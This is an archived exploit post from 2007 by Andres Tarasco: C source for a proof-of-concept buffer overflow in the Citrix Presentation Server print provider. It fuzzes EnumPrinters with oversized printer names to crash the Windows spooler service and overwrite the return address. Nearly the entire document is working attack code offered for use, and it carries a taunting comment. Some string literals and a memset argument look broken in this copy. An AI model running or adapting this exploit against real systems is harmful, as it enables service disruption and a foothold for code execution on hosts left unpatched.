Citrix Metaframe Presentation Server Print Provider Buffer Overflow PoC :

Date : 2007-01-26 Author : Andres Tarasco
/*
 Proof of concept exploit for ZDI - Citrix Metaframe spooler service vulnerability
 Microsoft Windows - EnumPrinter() & EnumPrinterW() Fuzzer v0.1 
 Author: Andres Tarasco Acuņa - [email protected]
 url: http://www.514.es

 This is an intial version of EnumPrinter() and OpenPrinter() fuzzer. I hope that 
 it will help to identify similar vulnerabilities.
 Tested against win2k3 + Citrix presentation server. If the system is vulnerable 
 this application will kill spooler service (spoolsv.exe ) and ret will be overwritten
 with 0x00410041
 
 514 Tiger Team ownz u

 */
#include <stdio.h>
#include <windows.h>
#include <Winspool.h>
#pragma comment(lib,"Winspool.lib")


void usage(char *name) {
      printf("Usage: %s -a (Ascii fuzzing for local printer providers)
",name);
      printf("Usage: %s -u (Unicode fuzzing for local printer providers)
",name);
      exit(0);
}

#define RECURSIVE 1
#define OPT_UNICODE 2
#define MAX_PRINTER_LEN 4096

#define _DBG_
#undef _DBG_

int CustomFuzzSize[]= {25,50,100,150,250,300,500,1000,1500, 2000};
wchar_t dst[MAX_PRINTER_LEN];



void Fuzzer( wchar_t *orig,int opt, int unicode) {
   int i,j;
   int len;

   if (unicode) len=wcslen(orig); 
   else len=strlen((char *)orig);
   memset((char *)dst,'',sizeof(dst));
   memcpy((char *)dst,orig,len*(1+unicode));
   j=wcslen(orig);
   for(i=0;i<CustomFuzzSize[opt];i++) {
      if (unicode) dst[j+i]='A';
      else ((char *)dst)[j+i]=(char)'A';
   }

   if (opt==0) {
   if (unicode)
   printf("Fuzzing: %S ( %i -%i)
",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]);
   else printf("Fuzzing: %s ( %i -%i)
",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]);
   }
   
}


DWORD ShowPrinterInfo(wchar_t *lpName,  int level, int opt, char *padding) {

   unsigned char *lpInfo;
   int i,j;
   DWORD n;
   DWORD dwSizeNeeded=0;
   char newpadding[50];

   DWORD ret;

   if (opt & OPT_UNICODE) {
      EnumPrintersW ( PRINTER_ENUM_NAME, (wchar_t* )lpName, level, NULL, 0, &dwSizeNeeded, &n );
   } else {
      EnumPrintersA ( PRINTER_ENUM_NAME, (char *)lpName, level, NULL, 0, &dwSizeNeeded, &n );
   }
   if (dwSizeNeeded==0) {    
#ifdef _DBG_
      printf ( "EnumPrintersX() Invalid. Error: %d 
",GetLastError() );
#endif
      return(-1);
   }

   lpInfo = (void *)HeapAlloc ( GetProcessHeap (), HEAP_ZERO_MEMORY, dwSizeNeeded );

   if ( lpInfo != NULL ) {
         if (opt & OPT_UNICODE) {
            ret=EnumPrintersW ( PRINTER_ENUM_NAME,(wchar_t *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n);
         } else {
            ret=EnumPrintersA ( PRINTER_ENUM_NAME,(char *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n);
         }
      if (  ret== 0 )
	   {
#ifdef _DBG_
		   printf ( "EnumPrintersX() Failed. Error: %d ( %i)
",GetLastError(),dwSizeNeeded  );
#endif
         HeapFree ( GetProcessHeap (), 0, lpInfo );
		   return 0;
      } else {
         PRINTER_INFO_1 *dataI;
         PRINTER_INFO_2 *dataII;
         
	      for ( i=0; i < n; i++ ) {
               dataI=(PRINTER_INFO_1*)lpInfo;
             
               printf("%s",padding);
               if (opt & OPT_UNICODE) {
                  if (dataI[i].pName)  printf(" %S - ",(dataI[i].pName));
                  if (dataI[i].pDescription)  printf(" %S ",(dataI[i].pDescription));
                  //if (dataI[i].pComment)  printf(" %S - ",(dataI[i].pComment));
               } else {
                  if (dataI[i].pName)  printf(" %s - ",(dataI[i].pName));
                  if (dataI[i].pDescription)  printf(" %s ",(dataI[i].pDescription));
                  //if (dataI[i].pComment)  printf(" %s - ",(dataI[i].pComment));
               }
                  printf("
");
              for(j=0;j<sizeof(CustomFuzzSize)/sizeof(int);j++) {
                 if (opt & OPT_UNICODE) {
                    Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE);
                    ShowPrinterInfo((wchar_t*)dst,level, OPT_UNICODE, newpadding);            
                 } else {
                    Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE);
                     ShowPrinterInfo((wchar_t*)dst,level, 0, newpadding);            
                 }
               }
               if (opt & RECURSIVE ) {
                  strcpy (newpadding,padding);
                  strcat(newpadding,"---");
                  newpadding[1]='+';
                  ShowPrinterInfo(dataI[i].pName,level, opt, newpadding);
               }
               printf("
");
         }
         HeapFree ( GetProcessHeap (), 0, lpInfo );
      }
   }

   return(1);
}

int testPrinters(void) {
   DWORD size,ret,err;
   ret=EnumPrintersW ( PRINTER_ENUM_NAME, NULL, 1, NULL, 0, &size, &size );
      if (  ret==0 ) {
         err=GetLastError();
         if (err!=122) { //size error
            printf("[-] Printer Service not available - Error: %d
",err );         
            exit(-1);
         }
      } 
      return(1);
}
int main ( int argc, char *argv[] )
{

   printf("[+] Citrix Presentation Server - Local EnumPrinterW() POC exploit
");
   printf("[+] Discovered by ZDI - http://secunia.com/advisories/23869/
");
   printf("[+] Proof of concept by Andres Tarasco - [email protected]

");

   if (argc!=2) usage(argv[0]);

   testPrinters();
   printf("[+] Printer Service Seems to be working.. Fuzzing
");
 
   if ( (argv[1][1]=='u'))  { 
      ShowPrinterInfo(NULL,1,3,"[*]");
      testPrinters();
   }
   if ( (argv[1][1]=='a'))  {
      ShowPrinterInfo(NULL,1,1,"[*]");
      testPrinters();
   }
   

   return(0);
 } 

// milw0rm.com [2007-01-26]

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